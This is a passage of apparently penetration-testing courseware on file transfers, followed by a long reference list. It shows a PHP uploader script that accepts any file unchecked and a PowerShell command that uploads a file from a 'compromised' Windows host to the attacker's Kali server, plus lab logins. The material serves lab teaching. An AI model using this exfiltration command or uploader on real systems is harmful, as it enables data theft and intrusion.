C:\Users\offsec\Documents\Secrets.jpg. We'll use this file for
this demonstration.
Let's revisit our Kali Apache2 service and create a PHP uploader
script. We'll store the PHP in our web root (/var/www/html/) and
save the file as /var/www/html/uploads/uploadWindows.php.
root@kali:/var/www/html# cat uploadWindows.php
<?php
$uploaddir = '/var/www/html/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
Listing 86 - PHP uploader script
This PHP script is similar to our previously covered script, but it
doesn't require a parameter to send the file. Despite still being able
to use our previous PHP script with cURL, using the PowerShell
commandlet doesn't allow easy usage of the parameter in the
request.
With Apache and the PHP script ready to receive our file, we'll move to
the compromised Windows host and invoke the UploadFile method from
the System.Net.WebClient class to upload the document we want to
upload (in this case, Secrets.jpg).
PS C:\Users\offsec\Documents> powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.48.3/uploadWindows.php', '.\Secrets.jpg')
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
Listing 87 - Uploading a file to Windows with PowerShell and PHP
After executing the command, we can verify the
successful upload to our Kali host.
root@kali:/var/www/html/uploads# ls -1
Secrets.jpg
...
Listing 88 - Validating the uploaded file
The file was successfully uploaded from the Windows host to our Kali
machine.
We covered two methods to download files using PowerShell and one
method to upload files. With this knowledge, let's practice these
skills with the following exercises:
In this Module, we covered various ways to transfer files. We
discussed setting up both an FTP server and a web server. Once we had
a functional environment, we demonstrated transfer techniques that
may work on both Windows and Linux environments, and then explored
Windows-specific transfer techniques with tools that are available on
default installations.
The following files are available for further practice.
* Windows_File_Transfers Grouped VMs
- FileServer web root: Kalibkgnd.gif
* FileTransfers-Linux
- 172.16.50.10: kali-glitchsea-16x9.jpg
- 172.16.51.10: 70skali.png
Listing 89 - Additional Exercises
Try to download these files and save them to your Kali host from their
original locations. This will require multiple steps for each file.
Enjoy the wallpapers!
(Offensive Security, 2021), https://www.offensive-security.com/pwk-oscp/↩︎
(Kranch, 2019), https://mjkranch.com/2019/02/why_we_should_teach_offense_first/↩︎
(APS, 2011), https://www.psychologicalscience.org/news/releases/how-the-brain-reacts-to-mistakes.html↩︎
(Schneier, 2008), https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html↩︎
(Offensive Security, 2021), https://www.offensive-security.com/offsec/what-it-means-to-try-harder/↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Network_eavesdropping↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Credential_stuffing↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Arbitrary_code_execution↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Denial-of-service_attack↩︎
(Wheeler, 2021), https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/follow-good-principles.html↩︎
(Patchstack, 2021), https://blog.threatpress.com/security-design-principles-owasp/↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Principle_of_least_privilege↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Open_security↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Defense_in_depth_(computing)↩︎
(Offensive Security, 2021), https://www.kali.org/get-kali/↩︎
(Microsoft, 2021): https://azure.microsoft.com/en-us/overview/what-is-a-virtual-machine/↩︎
(Offensive Security, 2021), https://www.kali.org/docs/installation/hard-disk-install/↩︎
(SSH Academy, 1996), https://www.ssh.com/academy/ssh/protocol↩︎↩︎↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/History_of_Linux↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Kernel_(operating_system)↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Minix↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Microkernel↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/GNU_Hurd↩︎
(Canonical Ltd, 2023), https://ubuntu.com/↩︎
(Canonical Ltd, 2023), https://ubuntu.com/tutorials/command-line-for-beginners#1-overview↩︎
(MIT, 2000), http://web.mit.edu/gnu/doc/html/features_4.html#SEC20↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Drive_letter_assignment↩︎
(linuxcommand.org, 2020), https://linuxcommand.org/lc3_man_pages/ls1.html↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard↩︎
(GNU, 2023), https://www.gnu.org/software/bash/manual/html_node/History-Interaction.html↩︎
(Ryan Chadwick, 2023), https://ryanstutorials.net/linuxtutorial/wildcards.php↩︎
(die.net, 2023), https://linux.die.net/man/1/find↩︎
(die.net, 2023), https://linux.die.net/man/1/locate↩︎
(die.net, 2023), https://linux.die.net/man/1/which↩︎
(guru99, 2023), https://www.guru99.com/linux-redirection.html↩︎
(opensource.com, 2018), https://opensource.com/article/18/10/linux-data-streams↩︎
(die.net, 2023), https://linux.die.net/man/1/sort↩︎
(die.net, 2023), https://linux.die.net/man/1/grep↩︎
(die.net, 2023), https://www.gnu.org/software/sed/manual/sed.html↩︎
(die.net, 2023), https://linux.die.net/man/1/cut↩︎
(GNU, 2023), https://www.gnu.org/software/gawk/manual/gawk.html↩︎
(RexEgg, 2017), http://www.rexegg.com/↩︎
(die.net, 2023), https://linux.die.net/man/1/comm↩︎
(die.net, 2023), https://linux.die.net/man/1/diff↩︎
(GNOME, 2023), https://wiki.gnome.org/Apps/Gedit↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Leafpad↩︎
(nano-editor, 2023), https://www.nano-editor.org/dist/v2.9/nano.html↩︎
(nano-editor, 2023), https://www.nano-editor.org/dist/latest/nano.html↩︎
(Linux man page, 2018), https://man7.org/linux/man-pages/man5/passwd.5.html↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Passwd#Shadow_file↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Timestamp↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/User_identifier↩︎
(Linux man page, 2022), https://man7.org/linux/man-pages/man5/group.5.html↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Sudo↩︎
(Linux man page, 2022), https://man7.org/linux/man-pages/man5/sudoers.5.html↩︎
(Linuxize blog, 2020), https://linuxize.com/post/su-command-in-linux/↩︎
(Ubuntu community wiki, 2013), https://help.ubuntu.com/community/FilePermissions↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Process_identifier↩︎
(faqs.org, 2002), http://www.faqs.org/docs/bashman/bashref_78.html#SEC85↩︎
(The Linux Information Project, 2015), http://www.linfo.org/ps.html↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Signal_(IPC)#POSIX_signals↩︎
(die.net, 2023), https://linux.die.net/man/1/tail↩︎
(die.net, 2023), https://linux.die.net/man/1/watch↩︎
(Kali Linux, 2023), https://www.kali.org/docs/↩︎
(Debian, 2023), https://www.debian.org/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Dependency_hell↩︎
(phoenixNAP, 2023), https://phoenixnap.com/kb/how-to-list-display-view-all-cron-jobs-linux↩︎
(Linux man page, 2020), https://man7.org/linux/man-pages/man5/wtmp.5.html↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Runlevel↩︎
(Linuxize, 2020), https://linuxize.com/post/last-command-in-linux/↩︎
(Linuxize, 2020), https://linuxize.com/post/who-command-in-linux/↩︎
(TechTarget, 2023), https://www.techtarget.com/searchstorage/definition/gibibyte-GiB↩︎
(die.net, 2017), https://linux.die.net/man/1/df↩︎
(die.net, 2017), https://linux.die.net/man/1/dd↩︎
(die.net, 2017), https://linux.die.net/man/1/du↩︎
(die.net, 2017), https://linux.die.net/man/8/mount↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Journaling_file_system↩︎
(Guru99, 2021), https://www.guru99.com/linux-differences.html↩︎
(Red Hat, 2021), https://www.redhat.com/en↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Benevolent_dictator_for_life↩︎
(GitLab, 2021), https://docs.gitlab.com/ee/user/project/merge_requests/↩︎
(Kali Linux, 2021), https://gitlab.com/kalilinux↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Drive_letter_assignment↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Device_Manager↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/windows/wsl/about↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Cmd.exe↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows/win32/↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Batch_file↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/PowerShell↩︎
(Microsoft, 2019), https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/cmdlet-overview?view=powershell-7.1↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Component_Object_Model↩︎↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Windows_Management_Instrumentation↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic↩︎
(How-To-Geek, 2014), https://www.howtogeek.com/195207/use-tab-completion-to-type-commands-faster-on-any-operating-system/↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Directory_structure↩︎
(How-To-Geek, 2017), https://www.howtogeek.com/278562/what-is-the-programdata-folder-in-windows/↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Temporary_folder↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library↩︎↩︎
(How-To-Geek, 2018), https://www.howtogeek.com/326509/whats-the-difference-between-the-system32-and-syswow64-folders-in-windows/↩︎
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo↩︎
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/set_1↩︎
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/setx↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/sysinternals/downloads/
Use the sysinternals suite to solve the
following exercises. The toolset can be found at
C:\Users\Offsec\Downloads\SysinternalsSuite on the target VM.↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/trojans-malware↩︎
(SS64, 2021), https://ss64.com/nt/syntax-redirection.html↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Regular_expression↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Discretionary_access_control↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/net-commands-on-operating-systems↩︎
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/security-identifiers↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-entries↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthn/lsa-authentication-model↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-clients↩︎
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview↩︎
(Microsoft, 2009), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/bb727008(v=technet.10)?redirectedfrom=MSDN↩︎
(LSoft Technologies, 2021), https://www.ntfs.com/ntfs-permissions-explicit.htm
Use the rdesktop -u Offsec -p Offsec <target_IP> command on Kali
Linux to access the target Windows VM. All the users on the machine
aside from "Offsec" have the password "color". Use what you know of
Windows permissons to solve the following exercises. Files for these
exercises can be found under C:\Users\Offsec\Desktop\Colors.↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/procthread/about-processes-and-threads↩︎
(Microsoft, 2019), https://techcommunity.microsoft.com/t5/ask-the-performance-team/windows-architecture-the-basics/ba-p/372345↩︎
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/overview-of-windows-components↩︎
(Fortuna, 2017), https://www.andreafortuna.org/2017/06/15/standard-windows-processes-a-brief-reference/↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Process_identifier↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Virtual_address_space↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Control-Alt-Delete↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Code_signing
Use the sysinternals suite to solve some of the
following exercises. The toolset can be found at
C:\Users\Offsec\Downloads\SysinternalsSuite on the target VM.↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Native_API↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Microsoft_Windows_library_files↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/troubleshoot/windows-server/performance/windows-registry-advanced-users↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/shell/hkey-type↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/sysinfo/predefined-keys↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-functions↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/taskschd/trigger-types↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-query↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/File_Allocation_Table↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil↩︎
(Granlund et al, 2020), https://man7.org/linux/man-pages/man1/du.1.html↩︎
(Wikipedia, 2021),↩︎
(Microsoft, 2015), https://support.microsoft.com/en-us/topic/default-cluster-size-for-ntfs-fat-and-exfat-9772e6f1-e31a-00d7-e18f-73169155af95↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/sysinternals/downloads/streams↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Computer_network↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/OSI_model↩︎↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Internet_protocol_suite↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Pcap↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Communication_protocol↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Protocol_data_unit↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Broadcast_domain↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Internet↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/ARPANET↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Port_(computer_networking)#Port_number↩︎
(die.net, 2021), https://linux.die.net/man/8/arp↩︎↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Data_link_layer↩︎
(Network Encyclopedia, 2023), https://networkencyclopedia.com/collision-in-computer-networking/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Organizationally_unique_identifier↩︎
(What Is My IP Address, 2023), https://whatismyipaddress.com/ip-basics↩︎
(What Is My IP Address, 2023), https://whatismyipaddress.com/ip-basics↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting#:~:text=A%20subnet%20mask%20is%20used,and%20see%20how%20it's%20organized.↩︎
(Chromium Blog, 2021), https://blog.chromium.org/2021/03/a-safer-default-for-navigation-https.html↩︎
(What Is My IP Address, 2023), https://whatismyipaddress.com/mail-server↩︎
(Comparitech, 2022), https://www.comparitech.com/net-admin/pcap-guide/↩︎
(Wireshark, 2023), https://www.wireshark.org/docs/man-pages/tshark.html↩︎
(Wireshark, 2023), https://wiki.wireshark.org/CaptureFilters↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Local_area_network↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Virtual_private_network↩︎
(Wireshark, 2023), https://wiki.wireshark.org/DisplayFilters↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/ASCII↩︎
(Exploit Database, 2021), https://www.exploit-db.com/exploit-database-statistics↩︎↩︎
(Wireshark, 2023), https://www.wireshark.org/docs/wsug_html_chunked/ChAdvFollowStreamSection.html↩︎
(Wireshark, 2023), https://www.wireshark.org/docs/wsug_html_chunked/ChIOExportSection.html
In your Kali Linux VM open the flow_and_export.pcap file
associated with this exercise.↩︎
(TCPDump, 2023), http://www.tcpdump.org/
On your Kali Linux VM, download and open the arp_and_icmp.pcap file
associated with this exercise. Remember to use -r switch in order to
read the content of a capture file.↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/ARP_spoofing↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol↩︎
(IETF, 1981), https://tools.ietf.org/html/rfc792↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Round-trip_delay↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Routing_table↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/0.0.0.0↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Firewall_(computing)↩︎
(Imperva, 2021), https://www.imperva.com/learn/data-security/access-control-list-acl/↩︎↩︎
(Linux System Administrators Guide, 2023), https://tldp.org/LDP/sag/html/filesystems.html#:~:text=A%20filesystem%20is%20the%20methods,the%20type%20of%20the%20filesystem↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview↩︎
(Brown, 2020), https://www.howtogeek.com/177621/the-beginners-guide-to-iptables-the-linux-firewall/↩︎↩︎
(Cisco, 2023), https://www.cisco.com/assets/sol/sb/RV320_Emulators/RV320_Emulator_v1-1-0-09/help/Setup13.html↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Bash_(Unix_shell)↩︎↩︎
(Cyberciti, 2022), https://bash.cyberciti.biz/guide/Shebang↩︎↩︎↩︎
(The Linux Information Project, 2005), http://www.linfo.org/absolute_pathname.html↩︎
(GNU, 2019), https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html↩︎
(BashFAQ, 2016), http://mywiki.wooledge.org/BashFAQ/082↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Parameter_(computer_programming)↩︎
(GNU, 2021), https://www.gnu.org/software/bash/manual/html_node/Bash-Conditional-Expressions.html↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Boolean_data_type↩︎
(Whatis.com, 2005), http://whatis.techtarget.com/definition/loop↩︎
(nixCraft, 2022), https://www.cyberciti.biz/faq/bash-infinite-loop/↩︎
(Python, 2023), https://docs.python.org/3/tutorial/controlflow.html#for-statements↩︎↩︎
(Python, 2023), https://docs.python.org/3/reference/compound_stmts.html#while↩︎↩︎
(Bash One-Liners, 2019), http://www.bashoneliners.com/↩︎
(Cisco, 2016), https://www.cisco.com/c/en/us/support/docs/ip/routing-information-protocol-rip/13788-3.html↩︎
(GNU, 2019), https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html↩︎
(Bash Hackers Wiki, 2014), http://wiki.bash-hackers.org/syntax/expansion/brace↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Port_scanner↩︎
(Nmap, 2019), http://nmap.org/↩︎
(Firewall.cx, 2022), http://www.firewall.cx/networking-topics/protocols/icmp-protocol/152-icmp-echo-ping.html↩︎
(Stack Overflow, 2019), https://stackoverflow.com/questions/2939869/what-is-exactly-the-off-by-one-errors-in-the-while-loop↩︎
(Linux Hint, 2023), https://linuxhint.com/what-is-cat-eof-bash-script/↩︎
(Vivek Gite, 2021), https://cyberciti.biz/faq/howto-check-if-a-directory-exists-in-a-bash-shellscript↩︎
(Advanced Bash-Scripting Guide, 2014), http://tldp.org/LDP/abs/html/localvar.html↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Scripting_language↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Conditional_(computer_programming)↩︎
(TLDP, 2023), https://tldp.org/LDP/abs/html/loops1.html↩︎
(Python, 2023), https://www.python.org/doc/essays/blurb/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Type_conversion↩︎
(Python, 2023), https://docs.python.org/3/tutorial/introduction.html#strings↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Array_slicing↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Escape_character↩︎
(Python, 2023), https://docs.python.org/3/library/stdtypes.html#typesnumeric↩︎
(Python, 2023), https://docs.python.org/3/tutorial/floatingpoint.html↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Boolean_data_type#Python,_Ruby,_and_JavaScript↩︎
(Python, 2023), https://docs.python.org/3/tutorial/datastructures.html↩︎
(Python, 2023), https://docs.python.org/3/tutorial/datastructures.html#dictionaries↩︎
(PCMag, 2023), https://www.pcmag.com/encyclopedia/term/key-value-pair↩︎
(W3Schools, 2023), https://www.w3schools.com/python/ref_func_range.asp↩︎
(Python, 2023), https://docs.python.org/3/tutorial/controlflow.html↩︎
(GeeksforGeeks, 2023), https://www.geeksforgeeks.org/python-3-input-function/↩︎
(Python, 2023), https://docs.python.org/3/library/functions.html#open↩︎
(W3Schools, 2023), https://www.w3schools.com/python/ref_file_read.asp↩︎
(W3Schools, 2023), https://www.w3schools.com/python/python_file_write.asp↩︎
(Python, 2023), https://docs.python.org/3/tutorial/controlflow.html#defining-functions↩︎
(Python, 2023), https://docs.python.org/3/library/json.html↩︎
(Python-Requests, 2023), https://docs.python-requests.org/en/latest/↩︎
(NumPy, 2023), https://numpy.org/↩︎
(Python, 2023), https://docs.python.org/3/reference/import.html↩︎
(Python-Requests, 2023), https://docs.python-requests.org/en/latest/↩︎
(Mozilla, 2023), https://developer.mozilla.org/en-US/docs/Web/HTTP/Status↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Network_socket↩︎
(GeeksforGeeks, 2023), https://www.geeksforgeeks.org/socket-programming-python/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Newline↩︎↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Web_crawler↩︎
(GeeksforGeeks, 2023), https://www.geeksforgeeks.org/how-to-write-a-pseudo-code/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Flowchart↩︎
(Lucidchart, 2023), https://www.lucidchart.com/pages/↩︎
(GeeksforGeeks), https://www.w3schools.com/python/ref_string_split.asp↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Scripting_language↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/PowerShell↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Batch_file↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cmd.exe↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/cmdlet-overview↩︎↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Object-oriented_programming↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/.NET_Framework↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/.NET↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_modules↩︎↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_providers↩︎
(Windows, 2022), https://docs.microsoft.com/en-us/powershell/↩︎
(Windows, 2022), https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/ise/introducing-the-windows-powershell-ise↩︎
(Visual Studio, 2022), https://marketplace.visualstudio.com/items?itemName=ms-vscode.PowerShell↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Object_(computer_science)↩︎
(Windows, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-help↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-verb↩︎
(Windows, 2022), https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/approved-verbs-for-windows-powershell-commands↩︎
(man7.org, 2022), https://man7.org/linux/man-pages/man1/man.1.html↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Parameter_(computer_programming)↩︎
(Windows, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_parameters↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Command-line_completion↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Alias_(command)↩︎
(Windows, 2021), https://devblogs.microsoft.com/scripting/when-you-should-use-powershell-aliases/↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-command↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/out-file↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Variable_(computer_science)↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Declaration_(computer_programming)↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Empty_string↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_variables?view=powershell-7.2#variable-names-that-include-special-characters↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Data_type↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Array_data_structure↩︎
(Wikipedia, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Boolean_data_type↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Operator_(computer_programming)↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_assignment_operators↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arithmetic_operators↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_comparison_operators↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logical_operators↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Modulo_operation↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Truth_table↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Conditional_(computer_programming)↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Control_flow#Loops↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Control_flow↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_if↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/write-output↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Switch_statement↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/For_loop↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Foreach_loop↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/While_loop↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Do_while_loop↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_continue↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_break↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Infinite_loop↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Signal_(IPC)#SIGINT↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Property_(programming)↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Method_(computer_programming)↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-member↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Pipeline_(software)↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/dotnet/api/system.string.tolower↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/dotnet/api/system.string.length↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-object↩︎
